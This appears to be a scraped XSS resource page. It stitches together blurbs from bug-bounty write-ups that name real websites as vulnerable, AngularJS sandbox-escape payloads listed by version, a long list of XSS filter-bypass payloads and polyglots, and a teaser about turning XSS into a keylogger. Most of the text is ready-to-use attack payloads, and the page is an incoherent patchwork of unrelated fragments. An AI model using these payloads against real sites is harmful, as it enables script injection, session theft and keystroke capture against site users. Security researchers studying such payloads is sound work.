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I was surfing the internet when I came across this web portal http://www.h2biz.net which I found to be vulnerable to Reflected XSS. So I attempted to make a Stored XSS because I noticed a kind of message board. I have created a temporary email for registering on the website, then I completed the registration phase….
I navigated this website: https://www.edilportale.com, an Italian web portal on construction. I found out that it was vulnerable to reflected XSS, as seen in the image.
How I discovered a Stored XSS vulnerability in 1MB.site – Binit Ghimire
How I was able to Discover a Stored Cross-site Scripting (XSS) vulnerability in Flaticon – Binit Ghimire
1.0.1 – 1.1.5
Mario Heiderich (Cure53)
{{constructor.constructor('alert(1)')()}}
1.2.0 – 1.2.1
Jan Horn (Google)
{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
"><svg/onload=prompt(/OPENBUGBOUNTY/)>
'"--!><img src=x onerror=alert("OPENBUGBOUNTY")>
'"/><svg/onload=prompt(/OPENBUGBOUNTY/)>
'"><script>alert("OPENBUGBOUNTY")</script>
'"><script>confirm("OPENBUGBOUNTY")</script>
'"><script>prompt("OPENBUGBOUNTY")</script>
'"><svg/onload=alert(/OPENBUGBOUNTY/)>
'"><svg/onload=confirm(/OPENBUGBOUNTY/)>
'"><svg/onload=prompt(/OPENBUGBOUNTY/)>
'>"/><svg/onload=prompt(/OPENBUGBOUNTY/)>
<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">
<img src="x:gif" onerror="window['al\u0065rt'](0)"></img>
<svg/onload=prompt(/OPENBUGBOUNTY/)>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert("OPENBUGBOUNTY")//>\x3exss.txt
'"><svg/onload=prompt`1`>
'"><svg/onload=alert`1`>
'"><svg/onload=confirm`1`>
'"><script>alert`1`</script>
><script>alert`1`</script>
'"><svg onload=prompt`openbugbounty`>
'"><svg onload=alert`openbugbounty`>
'"><svg onload=confirm`openbugbounty`>
<!'/*!"/*!/'/*/"/*--!><Input/Autofocus/*/Onfocus=confirm`OPENBUGBOUNTY`//><Svg>/
'"><svg/onload=alert(/openbugbounty/)>
My name is Ismail Tasdelen. As a security researcher. Today I will be talking about how to use an xss vulnerability as a keylogger. After this post, you’ll notice why a xss vulnerability has a critical vulnerability.
My name is Ismail Tasdelen. As a security researcher. In this article, I created a resource for you to get better information about xss. There are many xss bypass payloads in this resource, and there are a lot of technical sources. I hope that will be useful.